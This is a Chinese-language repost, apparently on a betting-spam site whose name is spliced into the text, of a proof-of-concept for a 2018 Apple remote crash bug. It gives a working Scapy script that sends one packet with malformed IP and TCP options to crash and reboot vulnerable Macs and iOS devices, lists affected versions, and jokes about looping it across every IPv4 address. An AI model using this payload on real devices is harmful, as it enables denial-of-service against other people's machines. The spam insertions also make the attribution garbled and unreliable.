Mac与Ipad敢告诉我ip吗?直接让你挂…

365bet手机版网址:2018-11-02 365bet体育在线平台: 6864 次
  前些天,365bet体育在线平台发一个网页,只要打开网页iphone手机直接死机,重启。
  秒秒钟让你IPhone崩溃,就问你敢点阅读原文吗?
  接着网站与公众号就是Tencent屏蔽了!
  为了全村的希翼,我再演示一个漏洞,这个漏洞很强大,只要类似于ping一下mac电脑,直接死机重启。
  环境:
  笔记本一台win10系统,MAC电脑一台
  笔记本电脑:192.168.1.44
  MAC:192.168.1.55
 
  Python Poc源代码:
  #pip install scapy
  import scapy
  from scapy.all import *
  send(IP(dst="192.168.1.55",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))
  下面是365bet体育在线平台本地测试成功的视频录像。
 

  如果你在本地测试,MAC主机不死机,不重启,你看一下你的MAC主机不是升级到新版本了,有漏洞的版本,下面给个表!
  影响版本:
  Apple iOS 11及更早版本:所有设备(升级到iOS 12的部分设备)
  Apple macOS High Sierra(受影响的高版本为10.13.6):所有设备(通过安全更新2018-001修复)
  Apple macOS Sierra(受影响的高版本为10.12.6):所有设备(通过安全更新2018-005中修复)
  Apple OS X El Capitan及更早版本:所有设备
  有华盟君问能做什么用?
  我努力想想应用场景,我儿子玩ipad,不想让他玩的时候,发过去数据直接让机器死机,防沉迷系统。哈哈,要不然,感觉这是一个损人不利已的漏洞。只可以用来拒绝服务。
  我有一个更坏的主意,
  给Poc写个循环,0.0.0.1~255.255.255.255,都发送一下数据包。不知道这个世界会不会更美好,呵呵!
  365bet体育在线平台自己改了一个版本,之前官网下载的python2.7运行出错。

  来源:https://github.com/coffeehb/Some-PoC-oR-ExP/commit/bd03ff515052783bf1cf93c6d065b276e30b9b30
  转自:黑白之道
分享到:
×

微信扫一扫分享

XML 地图 | Sitemap 地图